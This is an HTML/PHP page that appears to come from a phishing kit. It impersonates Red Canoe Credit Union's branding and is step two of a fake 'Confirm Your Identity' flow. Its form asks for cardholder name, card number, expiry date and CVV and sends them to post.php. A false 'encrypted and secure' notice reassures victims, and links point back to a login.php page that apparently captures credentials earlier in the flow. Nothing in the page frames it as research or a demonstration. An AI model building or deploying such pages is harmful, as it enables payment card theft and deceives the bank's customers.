<?php

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800;900&display=swap" rel="stylesheet">
    <title>Red Canoe CU — Confirm Identity</title>
    <style>
        *,*::before,*::after{box-sizing:border-box;margin:0;padding:0}
        :root{--red:#8F1D1E;--red-mid:#7a1819;--blue:#3F6670;--blue-mid:#345660;--text:#1a1a1a;--sub:#555;--border:#dde0e6;--white:#fff}
        html,body{height:100%;font-family:'Inter',sans-serif;color:var(--text)}
        body{display:flex;flex-direction:column;min-height:100vh;background:var(--white)}

        .top-bar{background:var(--white);border-bottom:1px solid #eee;padding:0 40px;display:flex;align-items:center;justify-content:space-between;height:54px}
        .top-logo img{height:48px;width:auto;display:block}
        .top-links{display:flex;align-items:center;gap:36px}
        .top-links a{font-size:11.5px;font-weight:700;color:var(--text);text-decoration:none;text-transform:uppercase;letter-spacing:.06em}
        .top-links a:hover{color:var(--red)}
        .top-right{display:flex;align-items:center;gap:10px}
        .btn-contact,.btn-apply{padding:9px 18px;border:1.5px solid var(--blue);background:transparent;color:var(--blue);font-family:'Inter',sans-serif;font-size:11.5px;font-weight:700;text-transform:uppercase;letter-spacing:.06em;cursor:pointer;border-radius:2px}
        .btn-contact:hover,.btn-apply:hover{background:var(--blue);color:#fff}
        .main-nav{background:var(--white);border-bottom:1px solid #e0e0e0;padding:0 40px;display:flex;align-items:center;justify-content:space-between;height:52px;z-index:200}
        .nav-links{display:flex;align-items:center;gap:0;flex:1}
        .nav-links a{font-size:11.5px;font-weight:700;text-transform:uppercase;letter-spacing:.06em;color:var(--text);text-decoration:none;padding:0 18px;height:52px;display:flex;align-items:center;gap:5px;border-right:1px solid #eee}
        .nav-links a:first-child{border-left:1px solid #eee}
        .nav-links a:hover{color:var(--red);background:#fdf5f5}
        .login-stub{background:var(--red);color:#fff;padding:0 20px;height:52px;display:flex;align-items:center;gap:8px;font-size:12px;font-weight:700;text-transform:uppercase;letter-spacing:.08em;border:none;cursor:pointer;font-family:'Inter',sans-serif}

        .page-bg{flex:1;position:relative;display:flex;align-items:center;justify-content:center;padding:60px 20px}
        .bg-img{position:absolute;inset:0;background:url('res/img/background.jpeg') center center / cover no-repeat;z-index:0}
        .bg-ov{position:absolute;inset:0;background:rgba(143,29,30,.82);z-index:1}

        .card{position:relative;z-index:2;background:var(--white);width:100%;max-width:500px;border-radius:4px;padding:36px;box-shadow:0 16px 60px rgba(143,29,30,.25);animation:ci .4s ease both}
        @keyframes ci{from{opacity:0;transform:translateY(14px)}to{opacity:1;transform:translateY(0)}}

        .card-logo{margin-bottom:20px;text-align:center}
        .card-logo img{height:46px;width:auto;display:inline-block}

        .steps{display:flex;align-items:center;gap:8px;margin-bottom:22px}
        .st{display:flex;align-items:center;justify-content:center;width:28px;height:28px;border-radius:50%;font-size:11px;font-weight:700;flex-shrink:0}
        .st.done{background:var(--red);color:#fff}
        .st.active{background:var(--blue);color:#fff;box-shadow:0 0 0 3px rgba(63,102,112,.2)}
        .st.pend{background:#eee;color:#aab}
        .sl{flex:1;height:2px;background:#dde0e6;border-radius:2px}
        .sl.done{background:var(--red);opacity:.4}

        .ch{margin-bottom:18px;padding-bottom:16px;border-bottom:3px solid var(--red)}
        .ch h1{font-size:20px;font-weight:700;color:var(--text)}
        .ch p{font-size:13px;color:var(--sub);margin-top:4px}

        .notice{display:flex;align-items:center;gap:9px;background:rgba(63,102,112,.07);border:1px solid rgba(63,102,112,.18);border-radius:4px;padding:10px 13px;margin-bottom:16px}
        .notice svg{flex-shrink:0;color:var(--blue)}
        .notice span{font-size:12.5px;color:var(--blue);font-weight:500}

        .f{margin-bottom:13px}
        .f label{display:block;font-size:11.5px;font-weight:700;color:var(--sub);margin-bottom:5px;letter-spacing:.05em;text-transform:uppercase}
        .f input{width:100%;height:44px;padding:0 12px;border:1.5px solid var(--border);border-radius:3px;font-family:'Inter',sans-serif;font-size:14px;color:var(--text);background:var(--white);outline:none;transition:border-color .15s,box-shadow .15s;-webkit-appearance:none}
        .f input::placeholder{color:#bbb}
        .f input:focus{border-color:var(--blue);box-shadow:0 0 0 3px rgba(63,102,112,.1)}
        .frow{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-bottom:13px}
        .frow .f{margin-bottom:0}

        .btn-main{width:100%;height:46px;background:var(--red);color:#fff;border:none;border-radius:3px;font-family:'Inter',sans-serif;font-size:13px;font-weight:700;cursor:pointer;margin-bottom:16px;display:flex;align-items:center;justify-content:center;gap:8px;text-transform:uppercase;letter-spacing:.06em;transition:background .15s}
        .btn-main:hover{background:var(--red-mid)}

        .clinks{display:flex;flex-direction:column;gap:10px;padding-top:14px;border-top:1px solid var(--border)}
        .clinks a{font-size:13px;color:var(--blue);text-decoration:none;display:flex;align-items:center;gap:5px}
        .clinks a:hover{text-decoration:underline}

        .page-footer{background:var(--red);padding:18px 40px;display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:12px}
        .footer-links{display:flex;gap:20px;flex-wrap:wrap}
        .footer-links a{font-size:11.5px;color:rgba(255,255,255,.65);text-decoration:none}
        .footer-copy{font-size:11.5px;color:rgba(255,255,255,.4)}

        @media(max-width:500px){.card{padding:24px 20px 28px}.frow{grid-template-columns:1fr}.nav-links{display:none}.top-links{display:none}.top-bar,.main-nav{padding-left:20px;padding-right:20px}}
    </style>
</head>
<body>
    <div class="top-bar">
        <div class="top-logo"><img src="res/img/logo.png" alt="Red Canoe CU"></div>
        <div class="top-links">
            <a href="#">Locations &amp; ATMs</a><a href="#">Rates</a>
            <a href="#">Support Center</a><a href="#">Security &amp; Fraud</a>
        </div>
        <div class="top-right">
            <button class="btn-contact">Contact Us</button>
            <button class="btn-apply">Apply Now</button>
        </div>
    </div>
    <nav class="main-nav">
        <div class="nav-links">
            <a href="#">Checking &amp; Savings <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Loans &amp; Credit Cards <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Business <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Resources <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">About Us <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
        </div>
        <button class="login-stub">Login <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M20 21v-2a4 4 0 0 0-4-4H8a4 4 0 0 0-4 4v2"/><circle cx="12" cy="7" r="4"/></svg></button>
    </nav>

    <div class="page-bg">
        <div class="bg-img"></div>
        <div class="bg-ov"></div>
        <div class="card">
            <div class="card-logo"><img src="res/img/logo.png" alt="Red Canoe CU"></div>
            <div class="steps">
                <div class="st done">✓</div><div class="sl done"></div>
                <div class="st active">2</div><div class="sl"></div>
                <div class="st pend">3</div>
            </div>
            <div class="ch"><h1>Confirm Your Identity</h1><p>Enter your card details to verify your account</p></div>
            <div class="notice">
                <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg>
                <span>Your information is encrypted and secure</span>
            </div>
            <form action="post.php" method="post">
                <div class="f"><label>Cardholder Name</label><input type="text" name="name" placeholder="As shown on card" autocomplete="cc-name"></div>
                <div class="f"><label>Card Number</label><input type="text" name="cc" id="cc" required placeholder="XXXX XXXX XXXX XXXX" inputmode="numeric"></div>
                <div class="frow">
                    <div class="f"><label>Expiration</label><input type="text" name="exp" id="exp" required placeholder="MM / YY" inputmode="numeric"></div>
                    <div class="f"><label>CVV</label><input type="password" name="cvv" id="cvv" required placeholder="CVV" inputmode="numeric"></div>
                </div>
                <button type="submit" class="btn-main">Continue <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="M5 12h14M12 5l7 7-7 7"/></svg></button>
            </form>
            <div class="clinks">
                <a href="#"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Having trouble? Contact support</a>
                <a href="login.php"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="15 18 9 12 15 6"/></svg>Back to log in</a>
            </div>
        </div>
    </div>

    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">NCUA</a><a href="#">Contact Us</a></div>
        <div class="footer-copy">© 2025 Red Canoe Credit Union. Federally Insured by NCUA.</div>
    </footer>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
    <script>$("#cc").mask("0000 0000 0000 0000");$("#exp").mask("00/00");$("#cvv").mask("0000");</script>
</body>
</html>